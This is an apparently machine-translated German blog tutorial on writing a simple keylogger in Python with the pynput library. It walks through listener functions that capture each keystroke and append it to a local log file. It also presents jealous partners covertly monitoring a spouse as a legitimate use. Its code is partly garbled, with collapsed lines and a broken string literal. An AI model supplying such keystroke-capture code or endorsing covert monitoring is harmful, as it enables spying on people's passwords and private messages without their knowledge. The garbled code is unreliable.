So erstellen Sie einen einfachen Keylogger mit Python

Blog

So erstellen Sie einen einfachen Keylogger mit Python

So erstellen Sie einen einfachen Keylogger mit Python

Dieser Artikel ist ein Tutorial zur Entwicklung eines einfachen Keyloggers mit Python.

Installieren Sie die folgenden Pakete:

  1. pynput — Bibliothek zur Steuerung und Überwachung von Eingabegeräten
pip install pynput

Was ist ein Keylogger?

Die Protokollierung von Tastenanschlägen, die oft als Keylogging oder Tastaturerfassung bezeichnet wird, ist die Aktion des Aufzeichnens der auf einer Tastatur angeschlagenen Tasten, normalerweise verdeckt, so dass die Person, die die Tastatur verwendet, nicht weiß, dass ihre Aktionen überwacht werden. Die Daten können dann von der Person, die das Protokollierungsprogramm bedient, abgerufen werden. Dieses Protokollierungsprogramm wird als Key Logger bezeichnet.

Unity 2D-Beleuchtungs-Tutorial

Die meisten modernen Keylogger gelten als legitime Software oder Hardware und werden auf dem freien Markt verkauft. Entwickler und Anbieter bieten eine lange Liste von Fällen an, in denen die Verwendung von Keyloggern legal und angemessen wäre, darunter:

  • Kindersicherung: Eltern können verfolgen, was ihre Kinder im Internet tun, und können sich dafür entscheiden, benachrichtigt zu werden, wenn es Versuche gibt, auf Websites mit nicht jugendfreien oder anderweitig unangemessenen Inhalten zuzugreifen;
  • Eifersüchtige Ehepartner oder Partner können einen Keylogger verwenden, um die Aktionen ihrer besseren Hälfte im Internet zu verfolgen, wenn sie sie des virtuellen Betrugs vermuten;
  • Unternehmenssicherheit: Verfolgung der Nutzung von Computern zu nicht arbeitsbezogenen Zwecken oder der Nutzung von Workstations außerhalb der Geschäftszeiten;
  • Unternehmenssicherheit: Verwendung von Keyloggern, um die Eingabe von Schlüsselwörtern und Phrasen zu verfolgen, die mit kommerziellen Informationen verbunden sind und die dem Unternehmen (wesentlich oder anderweitig) schaden könnten, wenn sie offengelegt werden;
  • Sonstige Sicherheit (z. B. Strafverfolgung): Verwendung von Keylogger-Aufzeichnungen zur Analyse und Verfolgung von Vorfällen im Zusammenhang mit der Verwendung von PCs.

Warum sind Keylogger eine Bedrohung?

Im Gegensatz zu anderen Arten von Schadprogrammen stellen Keylogger keine Bedrohung für das System selbst dar. Dennoch können sie eine ernsthafte Bedrohung für Benutzer darstellen, da sie zum Abfangen von Passwörtern und anderen vertraulichen Informationen verwendet werden können, die über die Tastatur eingegeben werden. Dadurch können Cyberkriminelle PIN-Codes und Kontonummern für E-Payment-Systeme, Passwörter für Online-Gaming-Konten, E-Mail-Adressen, Benutzernamen, E-Mail-Passwörter usw.

Arten von Keyloggern

  1. Software und
  2. Hardware

Importieren Sie die erforderlichen Bibliotheken

import pynput from pynput.keyboard import Key, Listener

Definieren Sie eine Liste zum Speichern von Schlüsseln und eine Variable zum Speichern der Zeichenanzahl

charCount = 0 keys = []

Lassen Sie uns eine Funktion schreiben, die eine Aktion ausführt, wenn eine Taste gedrückt wird

def onKeyPress(key): try: print('Key Pressed : ',key) #Print pressed key except Exception as ex: print('There was an error : ',ex)

Schreiben wir nun eine Funktion zur Handhabung der Tastenfreigabe

def onKeyRelease(key): global keys, charCount #Access global variables if key == Key.esc: return False else: if key == Key.enter: #Write keys to file writeToFile(keys) charCount = 0 keys = [] elif key == Key.space: #Write keys to file key = ' ' writeToFile(keys) keys = [] charCount = 0 keys.append(key) #Store the Keys charCount += 1 #Count keys pressed

Schließlich definieren wir eine Funktion, die die gedrückten Tasten in einer Protokolldatei protokolliert

def writeToFile(keys): with open('log.txt','a') as file: for key in keys: key = str(key).replace(''','') #Replace ' with space if 'key'.upper() not in key.upper(): file.write(key) file.write(' ') #Insert new line

Nachdem wir nun die Funktionen definiert haben, um Tastendruck und Tastenfreigabe zu handhaben, können wir die Hörer bereitgestellt von ‘**pynput’**, um die Schlüssel zu protokollieren.

with Listener(on_press=onKeyPress, on_release=onKeyRelease) as listener: listener.join()

Das ist der Bildtitel

Ausschnitt der Ausgabe des obigen Code-Schnipsels

Das ist der Bildtitel

Ausschnitt der Log-Datei

Ich hoffe, dieser Artikel war hilfreich, lassen Sie ein paar Klatschen, wenn es Ihnen gefallen hat.

Vielen Dank fürs Lesen!

#python #programmierung #keylogger